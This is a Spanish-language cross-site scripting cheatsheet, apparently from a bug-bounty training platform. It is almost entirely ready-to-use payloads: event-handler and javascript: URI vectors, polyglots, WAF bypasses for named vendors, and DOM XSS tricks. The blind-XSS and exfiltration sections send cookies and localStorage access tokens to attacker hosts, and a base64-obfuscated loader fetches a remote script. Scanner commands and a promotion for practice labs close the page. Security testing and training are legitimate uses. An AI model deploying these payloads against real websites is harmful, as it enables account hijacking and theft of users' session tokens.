Cheatsheet XSS
Cross-Site Scripting
Referencia rápida
- →Siempre probar <svg onload=alert(1)> como primer vector - funciona en la mayoria de contextos
- →Si alert() esta bloqueado en iframes cross-origin (Chrome 92+), usar print() como alternativa
- →Los event handlers como onfocus+autofocus no requieren interaccion del usuario
- →Para blind XSS, inyectar payloads en campos que puedan ser vistos por admins: tickets de soporte, formularios de contacto, user-agent
- →Probar siempre payloads sin event handlers usando javascript: URI en href, action y formaction
Payloads basicos
Script clasico
'"><script>alert(document.cookie)</script>
IMG onerror
"><img src=1 onerror="alert('XSS')">SVG onload
<svg onload=alert(document.domain)>
Iframe srcdoc
<iframe srcdoc='<script>alert(1)</script>'>
Input autofocus
<input onfocus=alert(1) autofocus>
Details ontoggle
<details open ontoggle=alert(1)>
Body onload
<body onload=alert(1)>
Marquee onstart
<marquee onstart=alert(1)>
Event handlers sin interaccion
Autofocus universalCasi todos los elementos soportan autofocus en navegadores modernos
<xss onfocus=alert(1) autofocus tabindex=1>
Video onerror
<video src=x onerror=alert(1)>
Audio onerror
<audio src=x onerror=alert(1)>
Transition event sin styleChrome aplica outline por defecto a elementos focusables
<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>
Object data
<object data=javascript:alert(1)>
SVG use con data URI
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />
Sin event handlers (javascript: URI)
Anchor href
<a href=javascript:alert(1)>click
Form action
<form action=javascript:alert(1)><input type=submit>
Button formaction
<form><button formaction=javascript:alert(1)>click
Math href
<math><brute href=javascript:alert(1)>click
Iframe srcdoc encoded
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
SVG xlink:href
<svg><script xlink:href=data:,alert(1)></script>
Blind XSS
Script externo (xss.report)
"><script src=https://your.xss.report/payload></script>
IMG fetch cookies
"><img src=x onerror="fetch('https://your.xss.report/?c='+document.cookie)">Base64 evalPayload codificado en base64 dentro del atributo id
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL004U1pUOCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
JS.rip callback
"><script src="https://js.rip/l5j9hbki0b"></script>
Polyglots
Polyglot universal
jaVasCript:/*-/*`/*\'`/*"/**/(/* */oNcliCk=alert() )//%%0teleD/teleD/oN/teleN/on/teleN/on/oN/teleN/teleD//on//%0e%0e%0e%0e//oN\teleN\oN\
Cierre de contextos multiple
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
Escape de script y style
'"--></style></script><script>alert(1)</script>
Polyglot click/alert
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
Multi-contexto
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
DOM XSS y tecnicas avanzadas
postMessage innerHTMLCuando el handler usa innerHTML con e.data sin sanitizar
<iframe src="https://target.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">Swagger-UI DOM XSSSwagger UI acepta configUrl/url como parametro
?configUrl=https://attacker.surge.sh/test.json
Cookie exfiltration via fetch
<script>fetch('https://attacker.com/?c='+document.cookie)</script>localStorage exfiltration
<script>new Image().src='https://attacker.com/?t='+localStorage.getItem('access_token');</script>Funciones sin parentesis (tagged template)Chrome 92+ bloquea alert en iframes cross-domain, usar print() como alternativa
alert`1337`
Sort call sin parentesis
[].sort.call`${alert}1337`Bypass de WAF
| WAF | Técnica | Payload |
|---|---|---|
Cloudflare | HTML entities en SVG | <svg onload=alert(1)> |
Imperva Incapsula | Tab en atributo + unicode | "><style/onload co\u006efirm()></style> |
Akamai | Unicode escape en handler | <img src=x onerror=\u0061lert(1)> |
ModSecurity | Null byte insertion | <img src=x onerror=alert(1)%00> |
F5 Big IP | onwheel event | <body style="height:1000px" onwheel="alert(1)"> |
Generic | Base64 + atob con backticks | <img src=x onerror=location=atob`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4p`> |
Herramientas
Dalfox
Scanner XSS automatizado con soporte para blind XSS y bypass de WAF
dalfox url "https://target.com/?q=test" --blind https://your.xss.report
XSStrike
Fuzzer XSS avanzado con analisis de contexto y generacion de payloads
python3 xsstrike.py -u "https://target.com/?q=test" --crawl
kxss
Filtra URLs con parametros reflejados potencialmente vulnerables a XSS
echo "https://target.com" | gau | kxss
DOM Invader
Extension de Burp para detectar DOM XSS, postMessage y prototype pollution
Activar en Burp Suite > Embedded Browser > DOM Invader
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras